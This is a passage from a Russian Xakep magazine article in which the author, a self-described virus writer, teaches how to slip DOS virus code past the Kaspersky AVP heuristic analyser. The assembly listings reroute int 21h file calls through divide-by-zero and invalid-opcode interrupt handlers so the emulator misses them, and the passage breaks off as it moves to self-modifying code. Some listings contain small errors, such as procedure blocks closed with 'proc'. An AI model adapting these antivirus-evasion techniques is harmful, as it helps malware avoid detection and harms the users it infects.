Электронная библиотека
Хакер
Вирус, который не увидит AVP!
Xakep Online -> Журнал, номер #012, стр. 012-034-2
Что за шум? А, нетерпеливые выкрики вопроса "что делать?". Вешаться! И прежде всего создателям AVP :). Сейчас я расскажу тебе о том, что мне удалось выудить из этого бардака, который они так гордо называют "антивирус" (честно говоря, что-то он сам больше на вирус похож, чем на антивирус - только этот вирь платный, а я-то свои бесплатно раздаю :)).
Как обмануть AVP
Что нужно сделать, чтобы эвристик не определял команды "черного списка"? Правильно! Их нужно спрятать! Но как? Я попробовал заменить
int 21h
на
pushf
call dword ptr saveint21
Но... ничего не вышло - господин Касперский узрел таки подвох в двух простых строчках. Так что - не катит. Замены, которые затрудняют дизассемблирование, тоже не принесли результатов (хотя лет десять назад это было круто!), поэтому я их не привожу.
Любопытный факт (к сути дела не относящийся) заключается в том, что, например, для AVP все прерывания на одно лицо. Напиши я
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
или
mov ax,4202h
xor cx,cx
xor dx,dx
into
или
mov ax,4202h
xor cx,cx
xor dx,dx
int 3
AVP будет считать, что участок кода один и тот же. Странные вещи вообще творятся в головах программистов AVP lab. Ну да ладно - вернемся к нашим баранам.
Мой опыт программирования на ассемблере подсказал мне выход - использовать прерывания, вызов которых не происходит явно. Тривиальными примерами являются int 6 и int 0.
newint06 proc
; встретив в коде 0FFh, 0FFh, 0FFh, 0FFh, процессор попробует
; декодировать команду, но, обломившись, вызовет int 6, который по
; умолчанию должен оборвать действие текущей программы
push bp ; сохраним bp
mov bp,sp ; чтобы сохранить sp ;)
int 21h ; нужный инт
add [bp-4],4 ; перейдем на следующую команду
pop bp ; восстановим из
iret ; вернемся
newint06 proc
newint00 proc
int 21h ; вызов - просто вызов ;)
iret ; и back in USSR
newint00 proc
Часть программы может выглядеть примерно так:
; установим newint06 и newint00
xor bp,bp ; обнулим заранее
mov ax,4202h ; позиция в файле - с конца
xor dx,dx ; ноль байт
xor cx,cx
div bp ; здесь-то и будет вызван newint00,
; а внутри него - int 21h.
mov ax,4202h ; ничего не меняется
xor dx,dx
xor cx,cx
dd 0FFFFFFFFh ; кроме способа вызова int 21h
Так как наши доморощенные антивирусисты являют собой пример истинного программиста - ленивого человека с весьма кривыми руками, эвристики не имеют полнофункциональных эмуляторов машинного кода (или хотя бы приближенных к них - идеала ведь трудно достичь). Такие участки эвристик обойдет не задумываясь - он и знать не знает о том, что мы все тут такие умные.
Есть еще несколько способов закосить "под хорошего мальчика". Первый - использовать самомодифицирующийся код. Например, тогда int 21h плавно трансформируется ("брюки превращаются...") в нечто следующее: